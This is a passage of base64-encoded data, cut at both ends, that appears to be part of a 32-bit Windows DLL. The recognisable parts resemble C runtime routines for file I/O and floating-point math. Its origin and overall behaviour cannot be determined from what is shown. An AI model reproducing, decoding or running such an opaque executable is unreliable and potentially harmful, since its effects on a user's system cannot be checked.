dCIl14DvwdHSLPol92IX/dFZX6Hvs//9Zx0X8AQAAAItHDMHoDagBdDKD+wF1EVfoSf///1mD+P90If9F5Oschdt1GItHDNHoqAF0D1foK////1mD+P91AwlF3INl/ADoDgAAAItF1IPGBOuVi10Ii3Xg/3XY6Czs//9Zw8dF/P7////oFAAAAIP7AYtF5HQDi0Xc6FOP///Di10Iagjo9cf//1nDi/9Vi+yD7BD/dQyNTfDo1Mb//4tF9A+2TQiLAA+3BEglAIAAAIB9/AB0CotN8IOhUAMAAP2L5V3DahBoUDcBEOi7jv//g2XkAGoI6FvH//9Zg2X8AGoDXol14Ds1kKQBEHRYoZSkARCLBLCFwHRJi0AMwegNqAF0FqGUpAEQ/zSw6HYQAABZg/j/dAP/ReShlKQBEIsEsIPAIFD/FZjgABChlKQBEP80sOjXxP//WaGUpAEQgySwAEbrncdF/P7////oCQAAAItF5Oh3jv//w2oI6BzH//9Zw4v/VYvsVot1CFeNfgyLB8HoDagBdCSLB8HoBqgBdBv/dgTohcT//1m4v/7///AhBzPAiUYEiQaJRghfXl3Di/9Vi+xWi3UIhfYPhOoAAACLRgw7BSxHARB0B1DoTMT//1mLRhA7BTBHARB0B1DoOsT//1mLRhQ7BTRHARB0B1DoKMT//1mLRhg7BThHARB0B1DoFsT//1mLRhw7BTxHARB0B1DoBMT//1mLRiA7BUBHARB0B1Do8sP//1mLRiQ7BURHARB0B1Do4MP//1mLRjg7BVhHARB0B1DozsP//1mLRjw7BVxHARB0B1DovMP//1mLRkA7BWBHARB0B1DoqsP//1mLRkQ7BWRHARB0B1DomMP//1mLRkg7BWhHARB0B1DohsP//1mLRkw7BWxHARB0B1DodMP//1leXcOL/1WL7FaLdQiF9nRZiwY7BSBHARB0B1DoU8P//1mLRgQ7BSRHARB0B1DoQcP//1mLRgg7BShHARB0B1DoL8P//1mLRjA7BVBHARB0B1DoHcP//1mLRjQ7BVRHARB0B1DoC8P//1leXcOL/1WL7ItFDFNWi3UIVzP/jQSGi8grzoPBA8HpAjvGG9v30yPZdBD/NujZwv//R412BFk7+3XwX15bXcOL/1WL7FaLdQiF9g+E0AAAAGoHVuir////jUYcagdQ6KD///+NRjhqDFDolf///41GaGoMUOiK////jYaYAAAAagJQ6Hz/////tqAAAADoeML///+2pAAAAOhtwv///7aoAAAA6GLC//+NhrQAAABqB1DoTf///42G0AAAAGoHUOg/////g8REjYbsAAAAagxQ6C7///+NhhwBAABqDFDoIP///42GTAEAAGoCUOgS/////7ZUAQAA6A7C////tlgBAADoA8L///+2XAEAAOj4wf///7ZgAQAA6O3B//+DxCheXcOL/1WL7ItNCDPAOAF0DDtFDHQHQIA8CAB19F3DoaSkARDDagxocDcBEOg0i///M/aJdeSLRQj/MOgA+f//WYl1/ItFDIsAiziL18H6BovHg+A/a8gwiwSVaKIBEPZECCgBdCFX6Kv5//9ZUP8VMOAAEIXAdR3o7c///4vw/xU84AAQiQbo8c///8cACQAAAIPO/4l15MdF/P7////oDQAAAIvG6ACL///CDACLdeSLTRD/Meio+P//WcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6ET///+L5V3Di/9Vi+xRVot1CIP+/nUN6ITP///HAAkAAADrS4X2eDc7NWikARBzL4vGi9aD4D/B+gZryDCLBJVoogEQ9kQIKAF0FI1FCIlF/I1F/FBW6IX///9ZWesT6DzP///HAAkAAADodc7//4PI/16L5V3Di/9Vi+yD7DihIEABEDPFiUX8i0UMi8iD4D/B+QZTa9gwVosEjWiiARBXi30QiX3QiU3Ui0QYGIlF2ItFFAPHiUXc/xUs4AAQi3UIi03ciUXIM8CJBolGBIlGCDv5D4M9AQAAii8zwGaJReiLRdSIbeWLFIVoogEQikwaLfbBBHQZikQaLoDh+4hF9I1F9GoCiG31iEwaLVDrOujk5v//D7YPugCAAABmhRRIdCQ7fdwPg8EAAABqAo1F6FdQ6I7k//+DxAyD+P8PhNIAAABH6xhqAVeNRehQ6HPk//+DxAyD+P8PhLcAAAAzyY1F7FFRagVQagGNRehHUFH/dcj/FUTgABCJRcyFwA+EkQAAAGoAjU3gUVCNRexQ/3XY/xU04AAQhcB0cYtGCCtF0APHiUYEi0XMOUXgcmaAfeUKdSxqDVhqAGaJReSNReBQagGNReRQ/3XY/xU04AAQhcB0OIN94AFyOv9GCP9GBDt93A+C7v7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